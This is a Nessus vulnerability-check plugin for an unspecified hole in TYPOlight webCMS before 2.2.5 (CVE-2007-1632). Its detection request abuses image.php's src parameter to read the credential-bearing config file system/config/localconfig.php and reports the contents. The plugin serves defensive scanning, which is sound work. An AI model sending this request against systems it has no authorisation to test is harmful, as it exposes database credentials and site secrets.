TYPOlight < 2.2.5 Unspecified Vulnerability

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(24900);
  script_version("1.17");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-1632");
  script_bugtraq_id(23048);

  script_name(english:"TYPOlight < 2.2.5 Unspecified Vulnerability");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
major security hole.");
  script_set_attribute(attribute:"description", value:
"The remote host is running TYPOlight webCMS, a content management
system with an emphasis on accessibility and written in PHP. 

The version of TYPOlight installed on the remote host is affected by
what the project calls a 'major security hole', although no specific
details are available at this time.");
  script_set_attribute(attribute:"see_also", value:"https://contao.org/de/changelog.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to TYPOlight version 2.2.5 or later by using, say, the
application's Live Update feature.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/03/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/03/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:typo3:typo3");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/typolight", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to exploit the flaw to read a file.
  file = "system/config/localconfig.php";
  w = http_send_recv3(method:"GET",
    item:string(
      dir, "/image.php?",
      "src=", file
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  # There's a problem if we managed to grab the file.
  if ("$GLOBALS" >< res && "TL_CONFIG" >< res)
  {
    if (report_verbosity)
    {
      report = string(
        "\n",
        "Here are the contents of the file '", file, "'\n",
        "that Nessus was able to read from the remote host :\n",
        "\n",
        res
      );
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
  }
}